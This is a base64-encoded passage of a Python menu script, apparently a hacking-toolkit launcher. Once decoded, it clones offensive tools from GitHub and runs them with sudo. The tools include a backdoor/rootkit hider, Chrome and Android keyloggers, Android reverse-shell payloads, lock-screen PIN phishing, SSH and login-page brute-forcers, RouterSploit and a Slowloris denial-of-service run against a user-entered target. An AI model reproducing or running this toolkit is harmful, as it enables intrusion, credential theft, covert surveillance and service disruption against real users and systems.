zLnN5c3RlbSgiZWNobyBcImJ1bGtfZXh0cmFjdG9yIFtvcHRpb25zXSBpbWFnZWZpbGVcIiB8IGJveGVzIC1kIGhlYWRsaW5lIHwgbG9sY2F0IikKICAgIGVsaWYgY2hvaWNlID09ICI5OSI6CiAgICAgICAgZm9yZW5zaWMoKQogICAgZWxpZiBjaG9pY2UgPT0iIjoKICAgICAgICBmb3JlbnNpYygpCiAgICBlbHNlIDoKICAgICAgICBtZW51KCkKCmRlZiBndXltYWdlcigpOgogICAgY2hvaWNlID0gaW5wdXQoIlsxXUluc3RhbGwgWzJdUnVuIFs5OV1CYWNrID4+ICIpCiAgICBpZiBjaG9pY2UgPT0gIjEiOgogICAgICAgIG9zLnN5c3RlbSgic3VkbyBhcHQgaW5zdGFsbCBndXltYWdlciIpCiAgICAgICAgZm9yZW5zaWMoKQogICAgZWxpZiBjaG9pY2UgPT0gIjIiOgogICAgICAgIGNsZWFyU2NyKCkKICAgICAgICBvcy5zeXN0ZW0oInN1ZG8gZ3V5bWFnZXIiKQogICAgZWxpZiBjaG9pY2UgPT0gIjk5IjoKICAgICAgICBmb3JlbnNpYygpCiAgICBlbGlmIGNob2ljZSA9PSAiIjoKICAgICAgICBmb3JlbnNpYygpCiAgICBlbHNlIDoKICAgICAgICBtZW51KCkKCmRlZiBhdXRvcHN5KCk6CiAgICBvcy5zeXN0ZW0oImVjaG8gXCJBdXRvcHN5IGlzIGEgcGxhdGZvcm0gdGhhdCBpcyB1c2VkIGJ5IEN5YmVyIEludmVzdGlnYXRvcnMuXG5bIV0gV29ya3MgaW4gYW55IE9zXG5bIV1SZWNvdmVyIERlbGV0ZWQgRmlsZXMgZnJvbSBhbnkgT1MgJiBNRWRpYSBcblshXUV4dHJhY3QgSW1hZ2UgTWV0YWRhdGEgXCJ8Ym94ZXMgLWQgYm95IHwgbG9sY2F0IikKICAgIHByaW50KCIiIgogICAgICAgIFsxXVJ1biBbOTldQmFjayAgCiAgICAiIiIpCiAgICBjaG9pY2U9aW5wdXQoIlo0bnp1ID4+ICIpCiAgICBpZiBjaG9pY2UgPT0gIjEiOgogICAgICAgIG9zLnN5c3RlbSgic3VkbyBhdXRvcHN5IikKICAgIGlmIGNob2ljZSA9PSAiIjoKICAgICAgICBmb3JlbnNpYygpCiAgICBlbGlmIGNob2ljZSA9PSI5OSI6CiAgICAgICAgZm9yZW5zaWMoKQogICAgZWxzZSA6CiAgICAgICAgbWVudSgpCgpkZWYgcG9zdGV4cCgpOgogICAgY2xlYXJTY3IoKQogICAgb3Muc3lzdGVtKCJmaWdsZXQgLWYgc3RhbmRhcmQgcG9zdCBleHBsb3RhdGlvbnMgfCBsb2xjYXQiKQogICAgcHJpbnQoIiIiCiAgICAgICAgWzFdIFZlZ2lsZSAtIEdob3N0IEluIFRoZSBTaGVsbAogICAgICAgIFsyXSBDaHJvbWUgS2V5bG9nZ2VyCiAgICAgICAgWzk5XUJhY2sgCiAgICAiIiIpCiAgICBleHBjaG9pY2UgPSBpbnB1dCgiWjRuenUgPT4+ICIpCiAgICBpZiBleHBjaG9pY2UgPT0gIjEiOgogICAgICAgIGNsZWFyU2NyKCkKICAgICAgICB2ZWdpbGUoKQogICAgaWYgZXhwY2hvaWNlID09ICIyIjoKICAgICAgICBjbGVhclNjcigpCiAgICAgICAgY2hyb21la2V5bG9nZ2VyKCkKICAgIGVsaWYgZXhwY2hvaWNlID09ICI5OSI6CiAgICAgICAgbWVudSgpCiAgICBlbGlmIGV4cGNob2ljZSA9PSAiIjoKICAgICAgICBwb3N0ZXhwKCkKICAgIGVsc2UgOgogICAgICAgIG1lbnUoKQoKZGVmIHZlZ2lsZSgpOgogICAgb3Muc3lzdGVtKCJlY2hvIFwiWyFdVGhpcyB0b29sIHdpbGwgc2V0IHVwIHlvdXIgYmFja2Rvb3Ivcm9vdGtpdHMgd2hlbiBiYWNrZG9vciBpcyBhbHJlYWR5IHNldHVwIGl0IHdpbGwgYmUgXG5oaWRkZW4geW91ciBzcGVjaWZpYyBwcm9jZXNzLHVubGltaXRlZCB5b3VyIHNlc3Npb24gaW4gbWV0YXNwbG9pdCBhbmQgdHJhbnNwYXJlbnQuXCJ8Ym94ZXMgLWQgYm95IHwgbG9sY2F0IikKICAgIHZlZ2lsZWNob2ljZSA9IGlucHV0KCJbMV1JbnN0YWxsIFsyXVJ1biBbOTldQmFjayA+PiAiKQogICAgaWYgdmVnaWxlY2hvaWNlID09ICIxIjoKICAgICAgICBvcy5zeXN0ZW0oInN1ZG8gZ2l0IGNsb25lIGh0dHBzOi8vZ2l0aHViLmNvbS9TY3JlZXRzZWMvVmVnaWxlLmdpdCIpCiAgICAgICAgb3Muc3lzdGVtKCJjZCBWZWdpbGUgJiYgc3VkbyBjaG1vZCAreCBWZWdpbGUiKQogICAgICAgIHBvc3RleHAoKQogICAgZWxpZiB2ZWdpbGVjaG9pY2UgPT0gIjIiOgogICAgICAgIG9zLnN5c3RlbSgiZWNobyBcIllvdSBjYW4gVXNlIENvbW1hbmQgIDogXG5bIV1WZWdpbGUgLWkgLyAtLWluamVjdCBbYmFja2Rvb3Ivcm9vdGtpdF0gXG5bIV1WZWdpbGUgLXUgLyAtLXVubGltaXRlZCBbYmFja2Rvb3Ivcm9vdGtpdF0gXG5bIV1WZWdpbGUgLWggLyAtLWhlbHBcInxib3hlcyAtZCBwYXJjaG1lbnQiKQogICAgICAgIG9zLnN5c3RlbSgiY2QgVmVnaWxlICYmIHN1ZG8gYmFzaCBWZWdpbGUgIikKICAgICAgICBwYXNzCiAgICBlbGlmIHZlZ2lsZWNob2ljZSA9PSAiOTkiOgogICAgICAgIHBvc3RleHAoKQogICAgZWxzZSA6CiAgICAgICAgbWVudSgpCgpkZWYgY2hyb21la2V5bG9nZ2VyKCk6CiAgICBvcy5zeXN0ZW0oImVjaG8gXCIgSGVyYSBDaHJvbWUgS2V5bG9nZ2VyIFwiIHwgYm94ZXMgLWQgYm95IHwgbG9sY2F0IikKICAgIHVzZXJjaG9pY2UgPSBpbnB1dCgiWzFdSW5zdGFsbCBbMl1SdW4gWzk5XUJhY2sgPj4iKQogICAgaWYgdXNlcmNob2ljZSA9PSAiMSI6CiAgICAgICAgb3Muc3lzdGVtKCJzdWRvIGdpdCBjbG9uZSBodHRwczovL2dpdGh1Yi5jb20vVW5kZWFkU2VjL0hlcmFLZXlsb2dnZXIuZ2l0IikKICAgICAgICBvcy5zeXN0ZW0oImNkIEhlcmFLZXlsb2dnZXIgJiYgc3VkbyBhcHQtZ2V0IGluc3RhbGwgcHl0aG9uMy1waXAgLXkgJiYgc3VkbyBwaXAzIGluc3RhbGwgLXIgcmVxdWlyZW1lbnRzLnR4dCAiKQogICAgICAgIHBvc3RleHAoKQogICAgZWxpZiB1c2VyY2hvaWNlID09ICIyIjoKICAgICAgICBvcy5zeXN0ZW0oImNkIEhlcmFLZXlsb2dnZXIgJiYgc3VkbyBweXRob24zIGhlcmEucHkgIikKICAgIGVsaWYgdXNlcmNob2ljZSA9PSAiOTkiOgogICAgICAgIHBvc3RleHAoKQogICAgZWxzZSA6CiAgICAgICAgbWVudSgpCgpkZWYgcm91dGV4cCgpOgogICAgY2xlYXJTY3IoKQogICAgb3Muc3lzdGVtKCJmaWdsZXQgLWYgc3RhbmRhcmQgUm91dGVyIEV4cGxvaXQgfCBsb2xjYXQgIikKICAgIHByaW50KCIiIgogICAgICAgIFsxXSBSb3V0ZXJTcGxvaXQKICAgICAgICBbMl0gRmFzdHNzaCAKICAgICAgICBbOTldQmFjayB0byBtZW51CiAgICAiIiIpCiAgICBjaG9pY2U9aW5wdXQoIlo0bnp1ID0+PiAiKQogICAgaWYgY2hvaWNlID09ICIxIjoKICAgICAgICBjbGVhclNjcigpCiAgICAgICAgcm91dGVyc3Bsb2l0KCkKICAgIGVsaWYgY2hvaWNlPT0iOTkiOgogICAgICAgIG1lbnUoKQogICAgZWxpZiBjaG9pY2U9PSIyIjoKICAgICAgICBjbGVhclNjcigpCiAgICAgICAgZmFzdHNzaCgpCiAgICBlbGlmIGNob2ljZT09ICIiOgogICAgICAgIHJvdXRleHAoKQogICAgZWxzZSA6CiAgICAgICAgcHJpbnQoIllvdSBFbnRlcmVkIHdyb25nIENob2ljZSA6IikKICAgICAgICByb3V0ZXhwKCkKCmRlZiByb3V0ZXJzcGxvaXQoKToKICAgIG9zLnN5c3RlbSgiZWNobyBcIlRoZSBSb3V0ZXJTcGxvaXQgRnJhbWV3b3JrIGlzIGFuIG9wZW4tc291cmNlIGV4cGxvaXRhdGlvbiBmcmFtZXdvcmsgZGVkaWNhdGVkIHRvIGVtYmVkZGVkIGRldmljZXNcInxib3hlcyAtZCBib3kgfCBsb2xjYXQiKQogICAgY2hvaWNlPWlucHV0KCJbMV1JbnN0YWxsIFsyXVJ1biBbOTldQmFjayA+PiAiKQogICAgaWYgY2hvaWNlID09ICIxIjoKICAgICAgICBvcy5zeXN0ZW0oInN1ZG8gZ2l0IGNsb25lIGh0dHBzOi8vd3d3LmdpdGh1Yi5jb20vdGhyZWF0OS9yb3V0ZXJzcGxvaXQiKQogICAgICAgIG9zLnN5c3RlbSgiY2Qgcm91dGVyc3Bsb2l0ICYmIHN1ZG8gcHl0aG9uMyAtbSBwaXAgaW5zdGFsbCAtciByZXF1aXJlbWVudHMudHh0IikKICAgICAgICByb3V0ZXhwKCkKICAgIGVsaWYgY2hvaWNlID09ICIyIjoKICAgICAgICBvcy5zeXN0ZW0oImNkIHJvdXRlcnNwbG9pdCAmJiBzdWRvIHB5dGhvbjMgcnNmLnB5IikKICAgIGVsaWYgY2hvaWNlID09ICI5OSI6CiAgICAgICAgcm91dGV4cCgpCiAgICBlbGlmIGNob2ljZSA9PSAiIjoKICAgICAgICByb3V0ZXhwKCkKICAgIGVsc2UgOgogICAgICAgIG1lbnUoKQoKZGVmIGZhc3Rzc2goKToKICAgIG9zLnN5c3RlbSgiZWNobyBcIkZhc3Rzc2ggaXMgYW4gU2hlbGwgU2NyaXB0IHRvIHBlcmZvcm0gbXVsdGktdGhyZWFkZWQgc2NhbiBcbiBhbmQgYnJ1dGUgZm9yY2UgYXR0YWNrIGFnYWluc3QgU1NIIHByb3RvY29sIHVzaW5nIHRoZSBtb3N0IGNvbW1vbmx5IGNyZWRlbnRpYWxzLiBcIiB8IGJveGVzIC1kIGJveSB8IGxvbGNhdCIpCiAgICB1c2VyY2hvaWNlID0gaW5wdXQoIlsxXUluc3RhbGwgWzJdUnVuIFs5OV1CYWNrID4+IikKICAgIGlmIHVzZXJjaG9pY2UgPT0gIjEiOgogICAgICAgIG9zLnN5c3RlbSgic3VkbyBnaXQgY2xvbmUgaHR0cHM6Ly9naXRodWIuY29tL3RoZWxpbnV4Y2hvaWNlL2Zhc3Rzc2ggJiYgY2QgZmFzdHNzaCAmJiBzdWRvIGNobW9kICt4IGZhc3Rzc2guc2giKQogICAgICAgIG9zLnN5c3RlbSgic3VkbyBhcHQtZ2V0IGluc3RhbGwgLXkgc3NocGFzcyBuZXRjYXQiKQogICAgZWxpZiB1c2VyY2hvaWNlID09ICIyIjoKICAgICAgICBvcy5zeXN0ZW0oImNkIGZhc3Rzc2ggJiYgc3VkbyBiYXNoIGZhc3Rzc2guc2ggLS1zY2FuIikKICAgIGVsaWYgdXNlcmNob2ljZSA9PSAiOTkiOgogICAgICAgIHJvdXRleHAoKQogICAgZWxzZSA6CiAgICAgICAgbWVudSgpCmRlZiBEZG9zKCk6CiAgICBvcy5zeXN0ZW0oImZpZ2xldCAtZiBzdGFuZGFyZCAtYyBERE9TIEF0dGFjayBUb29scyB8IGxvbGNhdCIpCiAgICBwcmludCgiIiIKICAgICAgICBbMV1TbG93TG9yaXMKICAgICAgICBbOTldQmFjawogICAgIiIiKQogICAgY2hvaWNlID1pbnB1dCgiWjRuenUgPj4gIikKICAgIGlmIGNob2ljZSA9PSAiMSI6CiAgICAgICAgY2xlYXJTY3IoKQogICAgICAgIHNsb3dsb3JpcygpCiAgICBlbGlmIGNob2ljZSA9PSAiMiI6CiAgICAgICAgcGFzcwogICAgZWxpZiBjaG9pY2UgPT0gIjk5IjoKICAgICAgICBvdGhlcnMoKQogICAgZWxzZSA6CiAgICAgICAgcHJpbnQoIkludmFsaWQgLi4uIikKICAgICAgICBtZW51KCkKZGVmIHdlYkF0dGFjaygpOgogICAgY2xlYXJTY3IoKQogICAgb3Muc3lzdGVtKCJmaWdsZXQgJ1dlYiBBdHRhY2sgVG9vbHMnIC1mIHN0YW5kYXJkIC1jIHwgbG9sY2F0IikKICAgIHByaW50KCIiIgogICAgICAgIFsxXSBXZWIyQXR0YWNrCiAgICAgICAgWzJdIFNraXBmaXNoCiAgICAgICAgWzNdIFN1YkRvbWFpbiBGaW5kZXIKICAgICAgICBbNF0gQ2hlY2tVUkwKICAgICAgICBbNV0gQmxhenkoQWxzbyBGaW5kIENsaWNrSmFja2luZykKICAgICAgICBbOTldQmFjayBUbyBNZW51CiAgICAiIiIpCiAgICBjaG9pY2UgPSBpbnB1dCgiWjRuenUgPj4gIikKICAgIGlmIGNob2ljZSA9PSAiMSI6CiAgICAgICAgY2xlYXJTY3IoKQogICAgICAgIHdlYjJhdHRhY2soKQogICAgZWxpZiBjaG9pY2UgPT0gIjIiOgogICAgICAgIHNraXBmaXNoKCkKICAgIGVsaWYgY2hvaWNlID09ICIzIjoKICAgICAgICBzdWJkb21haW4oKQogICAgZWxpZiBjaG9pY2UgPT0gIjQiOgogICAgICAgIGNsZWFyU2NyKCkKICAgICAgICBjaGVja3VybCgpCiAgICBlbGlmIGNob2ljZSA9PSAiNSI6CiAgICAKICAgICAgICBibGF6eSgpCiAgICBlbGlmIGNob2ljZSA9PSAiOTkiOgogICAgICAgIG1lbnUoKQogICAgZWxzZSA6CiAgICAgICAgbWVudSgpCgpkZWYgd2ViMmF0dGFjaygpOgogICAgdXNlcmNob2ljZSA9IGlucHV0KCJbMV1JbnN0YWxsIFsyXVJ1biBbOTldQmFjayA+PiAiKQogICAgaWYgdXNlcmNob2ljZSA9PSAiMSI6CiAgICAgICAgb3Muc3lzdGVtKCJzdWRvIGdpdCBjbG9uZSBodHRwczovL2dpdGh1Yi5jb20vc2FudGF0aWMvd2ViMmF0dGFjay5naXQiKQogICAgICAgIHdlYkF0dGFjaygpCiAgICBlbGlmIHVzZXJjaG9pY2UgPT0gIjIiOgogICAgICAgIG9zLnN5c3RlbSgiY2Qgd2ViMmF0dGFjayAmJiAuL3cyYWNvbnNvbGUiKQogICAgZWxpZiB1c2VyY2hvaWNlID09ICI5OSI6CiAgICAgICAgd2ViQXR0YWNrKCkKICAgIGVsc2UgOgogICAgICAgIG1lbnUoKQoKZGVmIHNsb3dsb3JpcygpOgogICAgb3Muc3lzdGVtKCJlY2hvXCJTbG93bG9yaXMgaXMgYmFzaWNhbGx5IGFuIEhUVFAgRGVuaWFsIG9mIFNlcnZpY2UgYXR0YWNrLkl0IHNlbmQgbG90cyBvZiBIVFRQIFJlcXVlc3RcInxib3hlcyAtZCBib3kgfCBsb2xjYXQiKQogICAgY2hvaWNlID0gaW5wdXQoIlsxXWluc3RhbGwgWzJdUnVuIFs5OV1CYWNrID4+ICIpCiAgICBpZiBjaG9pY2UgPT0gIjEiOgogICAgICAgIG9zLnN5c3RlbSgic3VkbyBwaXAgaW5zdGFsbCBzbG93bG9yaXMiKQogICAgZWxpZiBjaG9pY2UgPT0gIjIiOgogICAgICAgIHByaW50KExvZ28pCiAgICAgICAgdHM9aW5wdXQoIkVudGVyIFRhcmdldCBTaXRlIDotIikKICAgICAgICBvcy5zeXN0ZW0oInNsb3dsb3JpcyAlcyIldHMpCiAgICBlbGlmIGNob2ljZSA9PSAiOTkiOgogICAgICAgIHdlYkF0dGFjaygpCiAgICBlbHNlIDoKICAgICAgICBtZW51KCkKCmRlZiBza2lwZmlzaCgpOgogICAgdXNlcmNob2ljZSA9IGlucHV0KCJbMV1SdW4gWzk5XUJhY2sgPj4gIikKICAgIGlmIHVzZXJjaG9pY2UgPT0gIjEiOgogICAgICAgIG9zLnN5c3RlbSgic3VkbyBza2lwZmlzaCAtaCIpCiAgICAgICAgb3Muc3lzdGVtKCJlY2hvIFwic2tpcGZpc2ggLW8gW0ZvbGRlck5hbWVdIHRhcmdldGlwL3NpdGVcInxib3hlcyAtZCBoZWFkbGluZSB8IGxvbGNhdCIpCiAgICBlbGlmIHVzZXJjaG9pY2UgPT0gIjk5IjoKICAgICAgICB3ZWJBdHRhY2soKQogICAgZWxzZSA6CiAgICAgICAgbWVudSgpCiAgICAKZGVmIHN1YmRvbWFpbigpOgogICAgCiAgICBjaG9pY2U9aW5wdXQoIlsxXWluc3RhbGwgWzJdUnVuIFs5OV1CQWNrID4+ICIpCiAgICBpZiBjaG9pY2UgPT0gIjEiOgogICAgICAgIG9zLnN5c3RlbSgic3VkbyBwaXAgaW5zdGFsbCByZXF1ZXN0cyBhcmdwYXJzZSBkbnNweXRob24iKQogICAgICAgIG9zLnN5c3RlbSgic3VkbyBnaXQgY2xvbmUgaHR0cHM6Ly9naXRodWIuY29tL2Fib3VsM2xhL1N1Ymxpc3Qzci5naXQgIikKICAgICAgICBvcy5zeXN0ZW0oImNkIFN1Ymxpc3QzciAmJiBzdWRvIHBpcCBpbnN0YWxsIC1yIHJlcXVpcmVtZW50cy50eHQiKSAKICAgICAgICB3ZWJBdHRhY2soKQogICAgZWxpZiBjaG9pY2UgPT0gIjIiOgogICAgICAgIHByaW50KCJHbyB0byBTdWJsaXN0M3IgYW5kIHJ1biAuL3N1Ymxpc3QzciIpCiAgICAgICAgb3Muc3lzdGVtKCJlY2hvIFwiIHB5dGhvbiBzdWJsaXN0M3IucHkgLWQgZXhhbXBsZS5jb20gXG5weXRob24gc3VibGlzdDNyLnB5IC1kIGV4YW1wbGUuY29tIC1wIDgwLDQ0M1wifCBib3hlcyAtZCBib3kgfCBsb2xjYXQiKQogICAgICAgIG9zLnN5c3RlbSgiY2QgU3VibGlzdDNyICYmIHB5dGhvbiBzdWJsaXN0M3IucHkgLWgiKQogICAgZWxpZiBjaG9pY2UgPT0gIjk5IiA6CiAgICAgICAgd2ViQXR0YWNrKCkKICAgIGVsc2UgOgogICAgICAgIG1haW4oKQoKZGVmIGNoZWNrdXJsKCk6CiAgICBvcy5zeXN0ZW0oImVjaG8gXCIgRGV0ZWN0IGV2aWwgdXJscyB0aGF0IHVzZXMgSUROIEhvbW9ncmFwaCBBdHRhY2suXG5cdFshXXB5dGhvbjMgY2hlY2tVUkwucHkgLS11cmwgZ29vZ2xlLmNvbSBcIiB8IGJveGVzIC1kIGJveSB8IGxvbGNhdCIpCiAgICB1c2VyY2hvaWNlID0gaW5wdXQoIlsxXUluc3RhbGwgWzJdUnVuIFs5OV1CYWNrID4+IikKICAgIGlmIHVzZXJjaG9pY2UgPT0gIjEiOgogICAgICAgIG9zLnN5c3RlbSgic3VkbyBnaXQgY2xvbmUgaHR0cHM6Ly9naXRodWIuY29tL1VuZGVhZFNlYy9jaGVja1VSTC5naXQiKQogICAgICAgIHdlYkF0dGFjaygpCiAgICBlbGlmIHVzZXJjaG9pY2UgPT0gIjIiOgogICAgICAgIG9zLnN5c3RlbSgiY2QgY2hlY2tVUkwgJiYgcHl0aG9uMyBjaGVja1VSTC5weSAtLWhlbHAiKQogICAgZWxpZiB1c2VyY2hvaWNlID09ICI5OSI6CiAgICAgICAgd2ViQXR0YWNrKCkKICAgIGVsc2UgOgogICAgICAgIG1lbnUoKQoKZGVmIGJsYXp5KCk6CiAgICBvcy5zeXN0ZW0oImVjaG8gXCJCbGF6eSBpcyBhIG1vZGVybiBsb2dpbiBwYWdlIGJydXRlZm9yY2VyIFwiIHwgYm94ZXMgLWQgYm95IHwgbG9sY2F0IikKICAgIHVzZXJjaG9pY2UgPSBpbnB1dCgiWzFdSW5zdGFsbCBbMl1SdW4gWzk5XUJhY2sgPj4iKQogICAgaWYgdXNlcmNob2ljZSA9PSAiMSI6CiAgICAgICAgb3Muc3lzdGVtKCJzdWRvIGdpdCBjbG9uZSBodHRwczovL2dpdGh1Yi5jb20vVWx0aW1hdGVIYWNrZXJzL0JsYXp5IikKICAgICAgICBvcy5zeXN0ZW0oImNkIEJsYXp5ICYmIHN1ZG8gcGlwIGluc3RhbGwgLXIgcmVxdWlyZW1lbnRzLnR4dCIpCiAgICAgICAgd2ViQXR0YWNrKCkKICAgIGVsaWYgdXNlcmNob2ljZSA9PSAiMiI6CiAgICAgICAgb3Muc3lzdGVtKCJjZCBCbGF6eSAmJiBzdWRvIHB5dGhvbiBibGF6eS5weSIpCiAgICBlbGlmIHVzZXJjaG9pY2UgPT0gIjk5IjoKICAgICAgICB3ZWJBdHRhY2soKQogICAgZWxzZSA6CiAgICAgICAgbWVudSgpCgpkZWYgYW5kcm9pZGhhY2soKToKICAgIGNsZWFyU2NyKCkKICAgIG9zLnN5c3RlbSgiZmlnbGV0IC1mIHN0YW5kYXJkIC1jIEFuZHJvaWQgSGFja2luZyBUb29scyB8IGxvbGNhdCIpCiAgICBwcmludCgiIiIKICAgICAgICBbMV0gS2V5ZHJvaWQgCiAgICAgICAgWzJdIE15U01TCiAgICAgICAgWzNdIEdldGRyb2lkCiAgICAgICAgWzRdIERyb2lkRmlsZXMgKEdldCBmaWxlcyBmcm9tIEFuZHJvaWQgRGlyZWN0b3JpZXMpCiAgICAgICAgWzVdIExvY2twaGlzaCAoR3JhYiB0YXJnZXQgTE9DSyBQSU4pCiAgICAgICAgWzZdIFdoYXRzYXBwIEF0dGFjawogICAgICAgIFs3XSBEcm9pZENhbSAoQ2FwdHVyZSBJbWFnZSkKICAgICAgICBbOF0gRXZpbEFwcCAoSGlqYWNrIFNlc3Npb24pCiAgICAgICAgWzk5XU1haW4gTWVudQogICAgIiIiKQogICAgY2hvaWNlID0gaW5wdXQoIlo0bnp1ID0+PiIpCiAgICBpZiBjaG9pY2UgPT0gIjEiOgogICAgICAgIGNsZWFyU2NyKCkKICAgICAgICBrZXlkcm9pZCgpCiAgICBlbGlmIGNob2ljZSA9PSAiMiI6CiAgICAgICAgY2xlYXJTY3IoKQogICAgICAgIG15c21zKCkKICAgIGVsaWYgY2hvaWNlID09ICIzIjoKICAgICAgICBjbGVhclNjcigpCiAgICAgICAgZ2V0ZHJvaWQoKQogICAgZWxpZiBjaG9pY2UgPT0gIjUiOgogICAgICAgIGNsZWFyU2NyKCkKICAgICAgICBsb2NrKCkKICAgIGVsaWYgY2hvaWNlID09ICI0IjoKICAgICAgICBjbGVhclNjcigpCiAgICAgICAgZHJvaWRmaWxlKCkKICAgIGVsaWYgY2hvaWNlICA9PSAiNiI6CiAgICAgICAgY2xlYXJTY3IoKQogICAgICAgIHdoYXRzaGFjaygpCiAgICBlbGlmIGNob2ljZSA9PSAiNyI6CiAgICAgICAgY2xlYXJTY3IoKQogICAgICAgIGRyb2lkY2FtKCkKICAgIGVsaWYgY2hvaWNlID09ICI4IjoKICAgICAgICBjbGVhclNjcigpCiAgICAgICAgZXZpbGFwcCgpCiAgICBlbGlmIGNob2ljZSA9PSAiOTkiOgogICAgICAgIG1lbnUoKQogICAgZWxzZSA6CiAgICAgICAgbWVudSgpCgpkZWYga2V5ZHJvaWQoKToKICAgIG9zLnN5c3RlbSgiZWNobyBcIkFuZHJvaWQgS2V5bG9nZ2VyICsgUmV2ZXJzZSBTaGVsbFxuWyFdWW91IGhhdmUgdG8gaW5zdGFsbCBTb21lIE1hbnVhbGx5IFJlZmVyIEJlbG93IExpbmsgOlxuIFsrXWh0dHBzOi8vZ2l0aHViLmNvbS90aGVsaW51eGNob2ljZS9rZXlkcm9pZCBcIiB8IGJveGVzIC1kIGJveSB8IGxvbGNhdCIpCiAgICB1c2VyY2hvaWNlID0gaW5wdXQoIlsxXUluc3RhbGwgWzJdUnVuIFs5OV1CYWNrID4+IikKICAgIGlmIHVzZXJjaG9pY2UgPT0gIjEiOgogICAgICAgIG9zLnN5c3RlbSgic3VkbyBnaXQgY2xvbmUgaHR0cHM6Ly9naXRodWIuY29tL3RoZWxpbnV4Y2hvaWNlL2tleWRyb2lkICIpCiAgICAgICAgYW5kcm9pZGhhY2soKQogICAgZWxpZiB1c2VyY2hvaWNlID09ICIyIjoKICAgICAgICBvcy5zeXN0ZW0oImNkIGtleWRyb2lkICYmIGJhc2gga2V5ZHJvaWQuc2giKQogICAgZWxpZiB1c2VyY2hvaWNlID09ICI5OSI6CiAgICAgICAgYW5kcm9pZGhhY2soKQogICAgZWxzZSA6CiAgICAgICAgbWVudSgpCgpkZWYgbXlzbXMoKToKICAgIG9zLnN5c3RlbSgiZWNobyBcIiBTY3JpcHQgdGhhdCBnZW5lcmF0ZXMgYW4gQW5kcm9pZCBBcHAgdG8gaGFjayBTTVMgdGhyb3VnaCBXQU4gXG5bIV1Zb3UgaGF2ZSB0byBpbnN0YWxsIFNvbWUgTWFudWFsbHkgUmVmZXIgQmVsb3cgTGluayA6XG5cdCBbK11odHRwczovL2dpdGh1Yi5jb20vdGhlbGludXhjaG9pY2UvbXlzbXMgXCIgfCBib3hlcyAtZCBib3kgfCBsb2xjYXQiKQogICAgdXNlcmNob2ljZSA9IGlucHV0KCJbMV1JbnN0YWxsIFsyXVJ1biBbOTldQmFjayA+PiIpCiAgICBpZiB1c2VyY2hvaWNlID09ICIxIjoKICAgICAgICBvcy5zeXN0ZW0oInN1ZG8gZ2l0IGNsb25lIGh0dHBzOi8vZ2l0aHViLmNvbS90aGVsaW51eGNob2ljZS9teXNtcyIpCiAgICAgICAgYW5kcm9pZGhhY2soKQogICAgZWxpZiB1c2VyY2hvaWNlID09ICIyIjoKICAgICAgICBvcy5zeXN0ZW0oImNkIG15c21zICYmIGJhc2ggbXlzbXMuc2giKQogICAgZWxpZiB1c2VyY2hvaWNlID09ICI5OSI6CiAgICAgICAgYW5kcm9pZGhhY2soKQogICAgZWxzZSA6CiAgICAgICAgbWVudSgpCgpkZWYgZ2V0ZHJvaWQoKToKICAgIG9zLnN5c3RlbSgiZWNobyBcIkZVRCBBbmRyb2lkIFBheWxvYWQgKFJldmVyc2UgU2hlbGwpIGFuZCBMaXN0ZW5lciB1c2luZyBTZXJ2ZW8ubmV0IChubyBuZWVkIGNvbmZpZyBwb3J0IGZvcndhcmRpbmcpIFwiIHwgYm94ZXMgLWQgYm95IHwgbG9sY2F0IikKICAgIHVzZXJjaG9pY2UgPSBpbnB1dCgiWzFdSW5zdGFsbCBbMl1SdW4gWzk5XUJhY2sgPj4iKQogICAgaWYgdXNlcmNob2ljZSA9PSAiMSI6CiAgICAgICAgb3Muc3lzdGVtKCJzdWRvIGdpdCBjbG9uZSBodHRwczovL2dpdGh1Yi5jb20vdGhlbGludXhjaG9pY2UvZ2V0ZHJvaWQgJiYgYXB0LWdldCBpbnN0YWxsIGFuZHJvaWQtc2RrIGFwa3NpZ25lciAteSIpCiAgICAgICAgYW5kcm9pZGhhY2soKQogICAgZWxpZiB1c2VyY2hvaWNlID09ICIyIjoKICAgICAgICBvcy5zeXN0ZW0oImNkIGdldGRyb2lkICYmIGJhc2ggZ2V0ZHJvaWQuc2giKQogICAgZWxpZiB1c2VyY2hvaWNlID09ICI5OSI6CiAgICAgICAgYW5kcm9pZGhhY2soKQogICAgZWxzZSA6CiAgICAgICAgbWVudSgpCgpkZWYgbG9jaygpOgogICAgb3Muc3lzdGVtKCJlY2hvIFwiTG9ja3BoaXNoIGl0J3MgdGhlIGZpcnN0IHRvb2wgZm9yIHBoaXNoaW5nIGF0dGFja3Mgb24gdGhlIGxvY2sgc2NyZWVuLCBkZXNpZ25lZCB0b1xuIEdyYWIgV2luZG93cyBjcmVkZW50aWFscyxBbmRyb2lkIFBJTiBhbmQgaVBob25lIFBhc3Njb2RlIHVzaW5nIGEgaHR0cHMgbGluay4gXCJ8IGJveGVzIC1kIGJveSB8IGxvbGNhdCIpCiAgICB1c2VyY2hvaWNlID0gaW5wdXQoIlsxXUluc3RhbGwgWzJdUnVuIFs5OV1CYWNrID4+ICIpCiAgICBpZiB1c2VyY2hvaWNlID09ICIxIjoKICAgICAgICBvcy5zeXN0ZW0oInN1ZG8gZ2l0IGNsb25lIGh0dHBzOi8vZ2l0aHViLmNvbS90aGVsaW51eGNob2ljZS9sb2NrcGhpc2giKQogICAgICAgIGFuZHJvaWRoYWNrKCkKICAgIGVsaWYgdXNlcmNob2ljZSA9PSAiMiI6CiAgICAgICAgb3Muc3lzdGVtKCJjZCBsb2NrcGhpc2ggJiYgYmFzaCBsb2NrcGhpc2guc2giKQogICAgZWxpZiB1c2VyY2hvaWNlID09ICI5OSI6CiAgICAgICAgYW5kcm9pZGhhY2soKQogICAgZWxzZSA6CiAgICAgICAgbWVudSgpCgpkZWYgZHJvaWRmaWxlKCk6CiAgICBvcy5zeXN0ZW0oImVjaG8gXCJHZXQgZmlsZXMgZnJvbSBBbmRyb2lkIGRpcmVjdG9yaWVzXCJ8Ym94ZXMgLWQgYm95IHwgbG9sY2F0IikKICAgIHVzZXJjaG9pY2UgPSBpbnB1dCgiWzFdSW5zdGFsbCBbMl1SdW4gWzNdIFBhY2tnZXMgSW5zdGFsbChSZXF1aXJlZCkgWzk5XUJhY2sgPj4iKQogICAgaWYgdXNlcmNob2ljZSA9PSAiMSI6CiAgICAgICAgb3Muc3lzdGVtKCJzdWRvIGdpdCBjbG9uZSBodHRwczovL2dpdGh1Yi5jb20vdGhlbGludXhjaG9pY2UvZHJvaWRmaWxlcyIpCiAgICBlbGlmIHVzZXJjaG9pY2UgPT0gIjIiOgogICAgICAgIG9zLnN5c3RlbSgiY2QgZHJvaWRmaWxlcyAmJiBiYXNoIGRyb2lkZmlsZXMuc2giKQogICAgZWxpZiB1c2VyY2hvaWNlID0